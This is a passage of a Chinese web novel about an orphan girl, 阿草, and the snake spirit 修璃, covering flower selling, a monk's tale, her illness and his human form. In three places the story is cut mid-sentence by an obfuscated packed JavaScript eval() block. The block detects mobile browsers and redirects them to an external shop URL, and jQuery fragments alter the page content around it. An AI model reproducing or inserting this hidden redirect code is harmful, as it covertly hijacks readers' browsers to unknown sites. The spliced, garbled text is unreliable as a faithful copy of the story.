从前她便听长老爹爹和村里的说过,女子若是没有嫁人,又无栖身之所,便只能卖入烟花之地,卖笑供人取乐。卖花和卖笑,她其实尚不明白其中有什么分别,只不过从长老爹爹的说法中,推测出一个结论——只要进入这样的地方,她就再也没有自由了。 阿草在山中长大,她最害怕的便是失去自由。 她捏着粗布衣衫的一角,紧张地等在门外,阳光越来越橙黄,可红姐儿却很久没有出来。就在她有些惶恐,害怕她要赖账时,红姐儿终于施施然出来了。 “喏,拿好了。” 她塞给阿草一串铜板,待她数清楚数后,红姐儿又塞给她一套精美的衣裙,和一双漂亮的绣鞋。 “瞧你穿的那么破旧,好好的一个小姑娘,就要打扮漂亮些。”红姐儿往前一推,“这裙子我只穿过一两回,颜色也素净,你就拿去吧,还有这鞋也是!” 阿草推脱不过,只好羞赧地收下来,放进篮子里:“红姐儿,谢谢你了……” “要谢我啊,就挑些好的鲜花儿送来,红姐儿我都要了!对了小姑娘,你又叫什么名字,还没听你介绍过呢!” “我叫小不点……” “小不点?还有人叫这种名字?”红姐儿说完,又咯咯大笑起来。 在偏远的采石村,女孩儿通常都没有像样的名字,不过随口指个花草树木便叫了,阿草不知道城里的女孩都叫什么好听的名字。只不过她不喜欢“阿草”,她更喜欢“小不点”,这是修璃给她的名字。 许是看出了阿草的窘迫,红姐儿不笑了,捧着她的脸说:“好,好,那红姐儿就叫你‘小不点’,可以吗?” “嗯!”阿草稚嫩又开心地点点头。 今天,好像交到了朋友呢…… 提着空荡荡的篮子,阿草的脚步越发轻快,随着她轻盈地上下跳跃,兜里的铜板和修璃也发出清脆的铃铃声。她第一次觉得,自己的努力有了回报,将来一定能将生活过得更加有声有色! 阿草卖花的第一天,终于买到了一把心心念念的小刀,她看见铁匠铺的角落里,还有一只刚补好的铁桶,磨了许久的嘴皮子,铁匠才答应将铁桶一起卖给她。 爬上官道旁的山坡,阿草等了许久才等到修璃出现,大蛇刚向前游了一会儿,脑袋一歪,砰的一声撞在了树干上。 “修璃,你没事吧?”阿草连忙小跑上去。 “没事……”大蛇晃了晃脑袋,“就是有点晕……” 8. 小和尚与蛇 绮绣的花期不过半月,阿草干劲十足,一日去山谷采花,一日去小镇卖花。 几次下来,她也摸清了去山谷的路,不想总是麻烦修璃,便打算靠着两条腿自己走过去。可修璃却似乎不嫌麻烦,总是先将阿草送去山谷,等她采足了一篮子的花,再驮着她回来。 少女和巨蛇,成为延绵青山中一道独特的风景。 阿草没想到,这山中还有别的人。 钻过茂密的树林,来到植被稀疏的山顶草甸,周围的景色一览无余。放眼望去,不远处的河谷上游,出现了一座陈年木塔的尖顶。一位小和尚,轻盈地挑着水桶,在山间矫健地攀登着。 阿草爬下大蛇的背,指着那里说道:“修璃,那里有寺庙吗?” 修璃转头望去,上下晃了晃头颅:“那是静远寺,寺里有座塔,叫作金刚塔,还有一位一百二十岁老和尚,叫作静定禅师。” “一百二十岁?”阿草震惊不已,“难道你,认识那个老和尚吗?” “嗯……”修璃巴巴宽大的蛇嘴,吐起了信子,“嘶……若说认识,倒也不算……嘶嘶……准确来说,我认得他前世的前世,那时的他,也是静远寺的一个小和尚……” 从前有座山,山里有座庙,庙里有个老和尚给小和尚讲故事。 讲的是什么呢? 老和尚对小和尚说:“山里住着精怪,有两百岁的灰毛兔,三百岁的红狐狸,还有五百岁的老檀木,八百岁的白鳞蛇。然而它们是先来者,我们才是后来者,它们存在的年代,远比佛,还要久远得多。” 小和尚说:“弟子不懂……我们作为佛家子弟,不应该降妖除魔吗?” 老和尚慈祥一笑:“非也……佛家也会出妖魔,精怪同能怀慈悲。” 小和尚则摇头撇嘴:“我不信。” 然而那年冬天来得早,入秋不足一月,大雪便封了山。寺庙里的和尚也跟着挨了饿,粮食稀少短缺,老和尚便让小和尚夜里看守粮仓。 屋外北风很冷,呼呼夹着冰雪。 小和尚点了一盏灯,盘腿坐在地上,听着风声,撑着下巴,昏昏欲睡。 不知夜已多深,突然几声沙沙细响,惊醒了小和尚。他一骨碌爬起来,顺手抄起身旁的扫帚:“臭老鼠,快快滚,不许偷吃粮食!” 沙沙声骤然停了。 小和尚提着扫帚端着油灯,警惕地环顾四周,见老鼠似乎被吓走了,小和尚这才放松下来,又感到眼皮有些发沉。 然而很快,沙沙声再次响起。 小和尚一个机灵,这次他学聪明了,静静立在原地分辨声音,突然一个回身扫,将堆在角落的麦秸掀开来。 举灯看去,小和尚愣住了。 麦秸堆下,一条细长小白蛇正咬着老鼠屁股,转头看见小和尚,露出一脸发懵的神情,怯怯地窥伺他。 小和尚想起老和尚的教诲,佛法无边,当以慈悲为怀。于是他命令道:“你这条蛇,不许吃那只老鼠!” 蛇长久地呆在原地,嘴里叼着老鼠屁股,而老鼠则在它嘴里吱吱挣扎。小和尚突然不好意思地抠抠脑袋,自言自语地说道:“这个畜生,怎么可能听懂我的话?” 哪知话音刚落,小白蛇竟主动放下老鼠,张开大嘴,老鼠飞快逃窜而去。 小和尚见状,震惊地呆立在原地。 这畜生,真的听得懂我的话吗? 他最终没有落下扫帚,眼看着小白蛇饿着肚子,失落地缓缓离去。 这一晚,小和尚觉得自己对佛法里的慈悲为怀,有了别样的感悟,天刚刚亮起,便去师父的禅房,迫不及待地说起昨夜的奇遇。 “师父,弟子好像悟了,弟子明白您说的话了!……” 师父听罢,却笑而不答:“过几日再看吧。” 接下来的日子,小和尚依旧夜守粮仓,可他的日子却不好过了。 没了蛇,老鼠便泛滥成灾,拖家带口地来粮仓内翻咬粮食,它们啃碎了麦穗,咬穿了粮食袋,在棉花里产仔,彻夜不绝的沙沙声,吵得小和尚捂住了耳朵。 小和尚不想伤他们性命,可即便用扫帚赶了出去,很快它们也会从四面八方的缝隙里钻进来。 清晨,大和尚打开粮仓一看,将小和尚好好数落了一顿,让他守好粮食,否则就饿肚子! 小和尚很沮丧,盘腿坐在粮仓中间,抽搭地抹着眼泪:“我到底哪里做错了?我饶了老鼠的命,可我的命却要没了……” 幽幽地,一条长长的白蛇,从房梁缓缓吊了下来,落在小和尚的面前。绿色的两粒大眼睛,直勾勾地盯着小和尚,蛇嘴还时不时砸吧两下。 它已经在房梁上,盘踞好多天了。 小和尚抹抹眼睛,问它:“你也饿肚子了吗?” 小白蛇的脑袋,轻轻上下晃了晃。 “可、可是我若放任你去吃老鼠,就是害了老鼠的性命……可是如果不让你吃老鼠,你跟我就都要饿死了……” 小和尚说着,眼泪鼻涕又流了出来。 “佛家不是以慈悲为怀吗?我听师父的,饶了老鼠的性命,可为何它们却不懂感恩,却要将我逼至如此境地……慈悲到底是什么,我问了佛祖一整天,可佛祖却什么也不说……” 哭诉了许久,小和尚终于冷静下来,擦擦眼,小白蛇还挂在他面前。 两粒清澈的大眼睛,静静地望着他,仿佛在倾听他的哭诉。 “罢了……”小和尚终于下定决心,起身背过身去,“你吃吧!就当、就当我没看见!” 小白蛇似乎很开心,它掉下房梁,钻进了凌乱的粮食堆里。 那晚,修璃终于将肚子吃得鼓鼓囊囊。 望着木塔下袅袅的炊烟,阿草好奇地问修璃:“那之后呢?小和尚第二天,还有没有饿肚子?” 巨蛇遥望着远处的佛塔,摇了摇头:“那晚吃饱之后,我就回洞里冬眠了,后来再也没有如此寒冷的早冬,我也就再也没有去过那座佛寺——只不过后来听说,那个爱哭鼻子的小和尚,成为了寺庙的住持,而后下一世、再下一世,他都是静远寺的住持,受世人敬仰的得道高僧。” 听罢,阿草心中无限唏嘘:“等我有了余钱攒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587559|205352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够香火,定要去寺庙参拜老禅师。” 她朝着木塔的方向,虔诚地双手合十拜了三拜。 鲜花虽美,然易凋零,阿草趁着花期不停往返青芜镇,想尽量攒到更多的钱,将那个简陋的山洞布置得更像一个家。有修璃在,她不愁肉吃,山中的野菜野果也取之不尽,可她仍然需要许多人类世界的东西。 很多,都是修璃无法理解的。 阿草有了铁桶,便又想要铁锅,有了铁锅,还想要菜刀,和那些让食物更美味的调料。然而修璃却不吃做熟的食物:“你们人类真是奇怪啊……好好新鲜的肉,却要剥皮切肉、水煮火烤,折腾半宿,还不是胡乱吞了进去。” 修璃似乎已习惯了,在她做饭时品头论足,时不时趁她不注意吐出信子,偷偷尝尝汤里的味道,然后被烫得原地扭成麻花。 而阿草却捧着热汤,喝下一口,满足地“嗯”了许久。 有了充足的食物,阿草青春的身体,也渐渐饱满起来,皮肤因为油脂的滋润而变得润滑,头发也不再干枯发黄。等她最后一次敲开红姐儿的门时,红姐儿也忍不住啧啧称赞:“小不点,你真是越来越漂亮了,那些半大小子见了你,不得流三尺的哈喇子?” 红姐儿爱笑,笑起来咯咯咯的,像是挠痒痒一般。阿草的心也有些痒痒的,她红着脸低下头。 她不在乎那些整日遛街窜巷的混混小子,她在乎的是修璃。 蛇眼中的人,也有美丑么? 她希望自己在修璃心中是美的。 “红姐儿,这是今年最后的绮绣了,我先拿来给您挑。”阿草提起草篮,真诚地说道,“谢谢您照顾我的生意,最后的这些我不要钱,红姐儿尽管挑!” “哎哟,那多不好意思?”红姐儿嘴上说着不好意思,却将身一挑,将所有的绮绣都捧了去,“不会舍不得吧?” 阿草确实有些舍不得,今天还一枝都没卖呢!可说出去的话泼出去的水,她也只能点点头挤出一个笑:“不会……红姐儿喜欢就好。” 篮子里瞬间空了,红姐儿拿了绮绣进去,返回来时,却捧了一床棉被给阿草: “先前这儿的一个姑娘留下的,也没人要,就姑且给你了!这天儿啊就快凉了,你可别生了病,没法给红姐儿送花了!红姐儿就喜欢山里的野花野菜还有野味,你任何时候带来,红姐儿都要!” 阿草连忙点点头,她的确要想新的办法换钱了。 背着红姐儿送的被褥,阿草高高兴兴地朝城外走去——今天可以早点收工,也能早点见到修璃了。 可走了没多久,一个弱弱的声音从她身后响起:“那个……姑娘,你的花卖完了?” 阿草转过头去,是那个叫长郡的书生。 阿草弯弯腰:“公子,绮绣的花期已经过了,山里的花都凋谢了,只能等明年啦。” “是这样啊……”书生的表情有些怪异,试探地问道,“那请问姑娘,这绮绣花能开多长时间呢?” 阿草想了想说:“大概三五天吧。” 书生有些惊讶:“那真是太奇怪……” 9. 白衣公子 “奇怪?”阿草有些不解。 “是这样的……”书生长郡欲言又止,后退两步深鞠一躬,“小生唐突,还请姑娘去我家看看吧……” 阿草见他彬彬有礼,并不像是坏人,便应允了他。 长郡在前方引路,阿草背着被褥跟在他身后,又回到了那条偏僻的小巷。 破落的柴扉轻启,长郡再行一礼,请阿草在门外稍候,自己便匆匆进去了。阿草好奇地朝窄门内张望,小白蛇也偷偷伸出长长的脑袋,只见内里十分幽静,一条短而蜿蜒的石板路,延伸至同样窄窄的房门外。 很快,长郡匆忙地小跑出来,脸上带着兴奋的表情,手里捧着一支素花瓶。 花瓶中的绮绣,娇嫩嫩、红艳艳,花瓣舒展而饱满,花蕊簇拥而嫩黄,一枝独秀,却依旧开得生意盎然。 “这……这是我之前卖给公子的那一枝?”阿草啧啧称奇。 “是啊是啊!”长郡头点得像风中麦穗,双脸红扑扑的,“我那日见这绮绣花,便觉得异常喜欢,可我又不会养,只能每日给它换上新打得井水,可它竟然一点凋谢的迹象也没有。” 长郡小心翼翼地抽出绮绣,那花梗下竟然生根了。 阿草惊讶地说:“听说天上有紫微星、文曲星下凡,公子莫不是天上的花神下凡?您只要将它种进盆里,来年说不定还能开出更多来呢!” “是吗?”长郡兴高采烈地捧着绮绣,欣喜之情溢于言表,“谢谢姑娘!” “公子,不用客气。” 阿草轻轻鞠了一躬正要离开,走出没几步,她突然想到了什么。 回过头去,长郡还捧着绮绣立在原地,充满爱意的双眼,静静凝望着她娇嫩欲滴的花瓣。夕阳的余晖穿过窄窄的小巷,橙黄而朦胧的光线,正好铺洒在他们身上,阿草的心动了一动。 “对了,公子。”她轻轻走上去,对长郡说道,“你可听说过这绮绣花,其实是五百年前,一位名叫‘绮绣’的花精所化……” 夕阳褪去,云霞漫天,阿草徐徐地将修璃讲给她的故事,又讲给了长郡听。长郡初时觉得惊异,随着故事的深入,他的脸上,渐渐浮现出一丝哀伤和怜悯。 “别人听说这是花精的精魂所化,都觉得有些晦气,公子可会害怕?”阿草试探地问道,“我是觉得,绮绣既然选择在公子这里生根,也许正是你与她的缘分呢。” 说完这些,她忐忑地看着长郡,生怕他像其他人那般心生畏惧。 小白蛇睁着两只绿色的眼睛,也在静静望着长郡。 良久之后,当最后一丝霞光逐渐被夜晚吞没,长郡捧着绮绣花,轻声说道:“若是缘份,那便妙不可言……” 长郡那日的话语和眼神,在阿草心里久久挥之不去,可她也不得不忙碌起来。 七月流火,八月授衣,盛夏也快过去了。山中之秋来得早,漫山无主的果树纷纷挂上了果实,苹果、橘子、柿子和红枣,一日比一日染上了秋霜。 正所谓秋收而冬藏,为了顺利熬过冬季,阿草需要赶在这个时候采摘野果、收集玉米谷子的种子,等到来年再来耕种。 “修璃,再上去一点,再一点……” 阿草趴在大蛇圆圆的脑袋上,被它一点点送上苹果树的枝头,阿草摘了一颗苹果放进嘴里,突然五官一阵扭曲,赶紧将果肉吐了出来。 “呸呸呸……不行,这苹果怎么是苦的?” 仔细一看,原来鸟儿和虫子已经比她先享用。 山中的食物虽然多,可竞争也很激烈。动物们也知道秋收冬藏,稍微好吃些的果子,早就被附近猴群摘光了,稍微难吃些的,又被成群的鸟儿和虫子钻了孔。 阿草有些挫败,看着背篓里的几只红柿子和苦苣、马齿苋犯了愁。 “修璃,看来我攒不够钱做一件冬衣了……” 沮丧了良久,却发现修璃根本不在她身边,阿草慌张地转头看去,霎时间惊呆了—— 修璃正在漫山头乱窜,张着血盆大口追逐猎物,而它的面前,几只野鹿正在没命地狂奔。最终,一只年老的雄鹿缓缓停下脚步,用自己的生命,为鹿群争取了逃命的机会。 修璃一口咬住雄鹿的屁股,两根尖牙瞬间将它杀死,等雄鹿不动了,它才一点点吞进肚子里。 阿草不由地吞了口唾沫。 她慢慢走到修璃身边,可惜地说道:“那么大一张鹿皮啊,我可以卖多少钱?对了修璃,你以后捕了猎物,可以等我扒了皮再吃吗?” “啊……你怎么不早说呢。”大蛇打了个饱嗝,“要不,我再吐出来?” “那还是算了吧……”阿草吐吐舌头。 她想起之前还留了十几张灰兔皮,快要入冬了,皮货肯定很热销,自己也能用皮毛做一身冬衣了。 今年就先这样吧,阿草背起背篓,决定趁这一个月的时间多寻些野菜野果。她盘算着,野菜可以晒成菜干或做成酱菜,野枣和坚果也可以用炭火慢慢烘干,还有玉米和麦子,一部分拿来做口粮,一部分作为明年的种子。 一人一蛇慢慢朝着巨蟒峰走去,天将黑尽,风已经有些凉了。 阿草一边走在大蛇压出的小路上,一边盘算着要怎么做:“嗯……要晒这么多的菜干肉干,我要搓很长很长的麻绳。” 大蛇悠闲地在前面搭话:“有多长,比我还长嘛。” “还要多编些竹匾竹篮。” 大蛇砸吧砸吧嘴:“与其放在竹篮里,还不如放在肚子里踏实。” “要是能搭个灶台就好了,上面能做饭,下面能烤火。” 大蛇吐吐信子:“做熟的食物烫舌头,略略略……” 今天生吞了一头雄鹿,大蛇似乎很开心,阿草说什么它都能搭上两句,显得有些吊儿郎当。可走着走着,大蛇却发现阿草没有声音了,回过脑袋一看,哪里还有阿草的影子? “小不点?”大蛇慌了,“小不点,你去哪啦?” 它还以为阿草不小心掉进了坑里,连忙将身体伏在地上四处搜寻,好在蛇的信子能感应到热度,修璃在一堆半人高的荒草里,发现了痛苦蜷缩起来的阿草。 阿草捂着肚子,冷汗打湿了鬓发:“修璃……我……好疼……” 不知是不是那口被虫蛀的苹果有毒,阿草突然感觉肚子里钻心的疼,肠子一阵一阵地抽搐,连带着胃里也开始翻腾,她用力呕出一口酸水,脸色顷刻变得铁青。 “小不点,你怎么了?” “修璃,我是不是……要死在这里了……” 阿草努力地睁开眼睛,可无论她怎么用力,眼前的大蛇都变得模糊起来,只剩蓝蒙蒙的天空下,一团模糊的白影……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587560|205352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她再次朦胧地睁开眼,发现头顶是一排排青瓦,青瓦之下,是陈旧发黄的纱帐。身旁的碳炉烧得暖烘烘的,炉上坐着一只漆黑的铁锅,里头翻滚着苦涩的草药味。 我在什么地方…… 阿草有些急了,她虚弱地喊着修璃,想要勉强坐起身来,可还没起到一半便感觉浑身发虚,她又无力地躺了回去。在这陌生的地方,阿草莫名地感到慌乱,她只能伸出一只手,不断呼唤修璃的名字。 她害怕它会趁此机会将她抛弃。 “修璃,修璃……” “我在呢。” 一双冰凉的手,轻轻握住她凌空挥舞的手掌。 阿草的心怦怦跳起来,缓缓转过头去,却发现床榻边,坐着一位穿白衣的俊美男子。他的眉目如描如画,温柔中带着恬静的笑容,皮肤更是白皙光滑,在炉火的映照下,仿佛有粼粼的闪光。 “你是……修璃?”阿草难以置信地睁大了双眼。 “小姑娘,你可算是醒喽。” 一个老迈的声音,打断了阿草的问话,房间的门帘轻轻掀开,一位须发皆白的老者走了进来。他颤巍巍地拿过阿草的手腕,用布满皱纹的手探了探她的脉象。 白衣男子期待地问道:“大夫,如何?” 老爷爷微笑地点点头:“好,好……能醒过来,应该就不会有事了。公子,随我去拿几副药吧,你要记得,每日早中晚,给娘子煎服三次,三日后,定能痊愈。” “娘……娘子?”男子的脸上,霎时飘起好看的红晕。 阿草脸颊也有些微微发烫,她羞赧地抿抿唇,想看又不敢看,只能在心中激动地想着: 他真的是修璃吗? 他真的好好看啊…… 好看得,仿若神明。 阿草偷偷瞄着他的身影,见他乖乖跟在大夫身后出去取药。过了一会儿,男子重新返回屋内,伸手想要扶阿草起身。当他的手触碰到阿草时,仿佛有一道小小的闪电,从她的身上划过。 阿草羞涩地丢开了他。 “我、我自己能走……” 她逞能地站起身,刚虚走两步,却晃晃悠悠地快要倒下去。 “小不点,你还没好呢,就别逞能啦。本山……咳,我背你回去吧。” 他绕至阿草面前半蹲下身子,托着她的身体轻轻一抬,阿草便稳稳地趴在了他的背上。阿草的心怦怦乱跳,不由自主地紧紧贴着他的背,双臂环住他的脖子。 不同于蛇类的身体,作为人类的他,身上也有了体温,温温的,淡淡的,只是没有真正的人类那么炽热。 走出郎中的小屋,阿草才发现,她又回到了山下的青芜镇。夜晚的小镇十分宁静,宽阔的街道和鳞次栉比的房屋,都沉睡在朦胧的月光之下。抬头望去,今夜的月光,微凉而朦胧。 整座小镇,只有一双脚步声,平缓而稳健地回荡在深夜。 “……修璃,真的是你吗?”阿草轻声在他耳边说道,“你化为人形了,为了我?” 他无奈地笑了两声:“是啊……总不能我用嘴叼着你来看病吧?那样镇子里的人,会通通吓跑的哦。小不点,以后可别乱吃东西了,还是像你常做的那样,煮熟了再吃。” 阿草点点头,将脸贴进他的脖子,用最轻的声音说道: “你真好看……” 10. 小娃娃是怎么来的 离开青芜镇后,修璃又重新化为大蛇,驮着阿草回到了洞府。 阿草吃坏了肚子,虽然肠胃绞痛止住了,可她还是很虚弱。 大蛇将洞中的篝火点燃,用蛇尾缠住阿草的腰,搀扶她慢慢躺在床上。好在阿草提前晒了一捆麦积草,将灰兔毛缝制成毛绒毯,阿草虚弱地躺上去,大蛇轻轻衔着被子给她盖好。 “修璃,我是不是很没用……一个烂苹果,就差点将我杀死了。” 阿草有些沮丧。 大蛇溜了一个圈,将阿草和篝火团在中央,一只荧绿透亮的大眼睛,柔柔反射出火光和阿草的影子。阿草透过睫毛的虚影凝望着它,便想起白衣少年那双俊秀又清透的眼。 是梦吗? 阿草再也支撑不住,在真假莫辨的幻象中睡了过去。 第二日醒来,洞外天光已经大亮。山中已然入秋,洞口旁的藤蔓染上了霜红,透蓝无云的天空、金红的秋叶,仅凭目光便能触到一丝凉意。阿草勉强坐起身,情不自禁地抚了抚双臂。 烟火与蒸汽徐徐上升,充盈了整座巨大的府洞,阿草迷茫地转过头去,闻着满洞中草药苦苦的香气,她才敢确认,昨夜的一切是真实存在的。 修璃他,为我化为了人形…… 俊美年轻的白衣公子,不似她所见过的所有人类。他玉雕般的眉眼,充满神性与慈爱,他温柔的嗓音却未曾改变,还有,那双清澈如高山泉水般的深眸。 所以她昨夜见他的第一眼,便认出他来。 心脏,还是有些怦怦乱跳。 “小不点,你醒啦?” 阿草转头看去,惊然发觉梦中的白衣公子正蹲在地上煮药,他似乎有些手忙脚乱,摘了一把叶子作蒲扇,扇得满脸冒黑烟。 “咳、咳!嘶……好冲鼻子……”修璃似乎闻不得草药味,捏着鼻子说道,“还是蛇的身体好啊,没有鼻子就闻不到……阿嚏!” 水开了,咕嘟嘟的气泡带着飘在面上的草药,从四面八方漫了出来,修璃一时不知所措,差点从嘴里喷出水来。阿草连忙掀开被子过去,快速抽出两根燃烧的木柴,沸腾的药汤才慢慢退了下去。 修璃精疲力尽放开手,一屁股坐在地上。 “修璃,你的脸……”阿草拿来抹布,有些羞涩地凑到修璃脸颊旁,轻轻替他擦了擦。修璃初时不明白她要做什么,等他看清抹布上的炭痕,下意识地伸舌头想要舔舔,却发现根本舔不到。 他朝阿草露出一个微笑:“谢谢你了,小不点。” 笑容温柔而干净,让阿草的心动了动。她还是有些难以置信,目光落在他的脸庞,就有些移不开:“修璃,你真的能化为人形啊……你看起来,好像的确比我大不了几岁。” 她微微垂头,脸颊飘起两朵红晕。 羞涩,喜悦,满足,还有些惴惴不安。阿草望着修璃,突然鼓起勇气问道:“修璃,人和蛇妖,能生出孩子吗?生出来的是人类,还是一颗蛋?” 修璃露出疑惑的表情:“为何这么问?” “因为,因为……”阿草的脸更红了,她突然直起上身,将肚子高高地挺起来,“昨夜,你碰了我的手,还将我背了一路……我们有了肌肤之亲,自然、自然就会有孩儿了!可是我害怕,怕生出一颗蛋……” “哈……啊?”修璃目瞪口呆。 阿草从小吃百家饭长大,没有父母亲人,更无人教导她这档子事。她只是听同村的孩子说,男子女子只要碰到了,就会生出小娃娃。所以她总是有意,躲着村里那帮搓鼻涕的臭小孩。 短暂地停滞之后,修璃突然抖着脖子仰天大笑,笑得头颅倒挂金钩,身体扭成一团。阿草不禁感叹:蛇的韧性,可真是好啊…… 她看着修璃笑得上气不接下气,疑惑与愤怒的羞耻感,将她双脸烧得更红了。 “你……”她生气又不解地指着他,“你笑什么?” 修璃呵呵笑完,伸伸腿,才发现自己没有尾巴。他抬起身子凑到阿草面前,伸手轻轻拍拍她的脑袋:“小娃娃,不是这么来的……若碰一碰便能有孕,那郎中替你把脉,又当如何说?” 阿草一怔,好像是这么回事。 “那小娃娃,又是怎么来的呢?” “哎咳……”修璃不好意思地咳咳几声,随即露出一丝微笑,“小不点,等你再长大些,自然就会明白了。” 药已经煎好了,那原本就有些苦涩的味道变得更加浓郁,阿草心中有说不出的失落感。修璃又变为大蛇,悠悠地游出了洞府,而阿草则默默喝着腥苦的药汤,望着洞外清朗的秋日晴空出神。 她想到了五百年前的绮绣和沈砚安。绮绣是花精,沈砚安是人,而他们却能结为夫妻,生下一个人类的孩儿……昨夜,当修璃主动要背她时,阿草的心既忐忑又雀跃,而现在却化为了落寞和羞耻感。 她呆呆地捧着药汤,不知今后该如何面对修璃。 也许是自己不够美吧……她不像绮绣如花般娇艳动人,甚至比不上红姐儿、还有青芜镇那些会买她鲜花的姑娘,她又怎敢奢望山神的垂青呢? 阿草有些挫败,单薄的身影在巨大的府洞中,显得越发渺小了。 她没有察觉,大蛇此刻便躲在洞后,一双清澈荧绿色的眼眸,也静静凝望着她的背影…… 连喝了三日草药,阿草的身体恢复了元气,她让自己忙碌起来,将小小的失望藏在心底角落。身体刚好一些,她便将先前浸泡在洞后溪水中的麻杆收回来,坐在太阳下一根根剥麻,从日出剥到日落。 大蛇巡山回来后,便卷着长长的身躯匍匐在草丛里,远远地凝望着她。 一人一蛇,长久地沉默着。 少女的失望也有一丝丝赌气的成分,她不想也不知该如何面对修璃。如今,她还无法独立,只能寄居在修璃的府洞里,这让她感到有些难堪。所以她只能拼命干活,也许有一天她攒足了立身之本,也就无需再麻烦修璃了。 麻杆剥成了麻丝,阿草小心翼翼地将它们理顺,仿佛也在理顺自己的思绪;将野草野果晾晒成干,也似乎在晾干自己无所适从的忧郁。 终于有一天,阿草坐在篝火前搓麻,这项工序单调又冗长,却让她的心渐渐宁静了。篝火剥剥地响着,修璃静悄悄地游进洞府,见少女沉静的侧脸铺在高高的岩壁上。 他顿了顿,缓缓游到她身边,轻轻地、小心翼翼地将一只白狐放在她身边。 少女浑然不觉。 “咳、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587561|205352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咳……小不点?”修璃不知所措地唤了一声。 少女缓缓回过神来,转头看修璃,又看见躺在她身边的白狐,她用手摸了摸,还是温热的:“好漂亮的皮毛啊……这只白狐怎么了?” “你不是说等我捕了猎物,要先给你扒了皮再吃么?”修璃用尾巴尖指指白狐,“这只白狐中了猎人的陷阱,听说人类很喜欢白狐狸的皮毛呢。” “猎人?”阿草想起此处位于大山腹地,方圆百里也只有采石村而已,“你去了很远的地方吗?” 其实修璃已经吃过不止一餐了,只不过他作为山神,吃的大多是年迈或是病弱的动物,没有这么漂亮的皮毛。当他发现这只误入陷阱的白狐时,他的心里有些雀跃,也许这只皮毛漂亮的小动物,能让彼此的氛围缓和一些。 他不是人类,不懂人类的喜怒哀乐,只是觉得最近有些淡淡的失落和无助。 他睁着大眼睛,期待地望着阿草。 过了一会儿,阿草轻轻弯了弯嘴角,说道:“谢谢你,修璃……那你等等我,我先处理好后你再吃,不用很久的。” 阿草捧起白狐,拿着小刀向洞后走去,修璃弯过脑袋看她,短暂的期待过后,失落和无助感却越发强烈了。 他不明白这是怎么了。 突然,他探到了一丝血腥味,洞后传来阿草的呻吟。修璃身体一弹,飞速来到阿草身边,朦胧的月光下,阿草不小心割到了手指,连忙将伤口浸入泉水里。 “小不点,你没事吧?” 修璃化为了人形,他捧起阿草流血的手,在阿草羞涩的惊呼中,用舌头轻轻舔舐。薄薄的伤口透出雪白又带些紫色的光线,很快,阿草的伤口愈合了。 他抬起头来,看见阿草的脸已经红得像熟透的柿子。 “修璃,你……”她的胸口,急促地上下起伏。 “没吓着你吧?”修璃笑着说道,“有时候我也会这样,替受伤的小动物治伤嗷。” 那副期待的神态,仿佛想求一个夸奖。 阿草看着自己的手指,伤口果然愈合了,只留下一条淡粉色的线。修璃让她明日天明后再剥皮也不迟,阿草却怔怔地陷入了他的话语中:“受伤的小动物,原来我在他眼里,只是小动物啊,和兔子麋鹿老鼠也没有区别……” 阿草觉得自己更受伤了,颓然地走回洞内。 二八少女的心思,比乍暖还寒时候的天气还要捉摸不定,修璃头回感到焦躁难耐,跟着阿草回到了洞内。少女又回到之前的状态,沉默地坐在篝火前搓麻。 修璃轻手轻脚地坐在她身边,白皙的皮肤,在火光下粼粼闪光。阿草虽然低着头,却总是控制不住地瞄向他的方向。 白衣的公子,俊美得好像一尊白玉雕的神像。 他思索了一会儿,用温柔的声音试探地问道:“小不点,你有什么心事么?” 阿草的心晃了晃,她摇摇头笑着说道:“没有……我只是想着冬天快到了,今年冬天会不会很冷?修璃,天冷之后你便会冬眠吧,我是想早点做完这些事,这样就不会打扰你了……” 修璃的面容柔和下来,他轻轻摸了摸阿草的脑袋:“有了这火,洞内也温暖了许多,今年,我大概会晚些冬眠吧。” 11. 白狐皮 寒风秋雨淋漓过后,山中的秋叶红了。 不,起初是嫩黄色,像是刚出生的嫩叶一般,叶子在衰老时,又倒回了婴儿时期的模样。 紧接着,秋雨挽着霜降一同降临,嫩黄的边缘开始发焦、发皱,像被秋日的晴阳染了颜色,迅速蔓延成一片火红。 还有那些万年常青的树,夹杂在其间,从高高的洞口望下去,红叶就像一簇一簇的山火,将整个深秋点燃了。 阿草已经搓够了麻绳,长长的,比修璃还要长好多倍。她将麻绳挂在嶙峋的岩壁上,一道又一道纵横交错,像蜘蛛结出的网。 肉干,菜干,过冬的食物就长在这张大网上。 阿草觉得成就感满满。 过冬的食物已经准备妥当,她现在要做的,就是将多余的动物皮毛拿去小镇换钱,买来足够的盐巴、油和针线,这样过冬的东西也就准备完成了。 修璃驮着她来到青芜镇边缘。 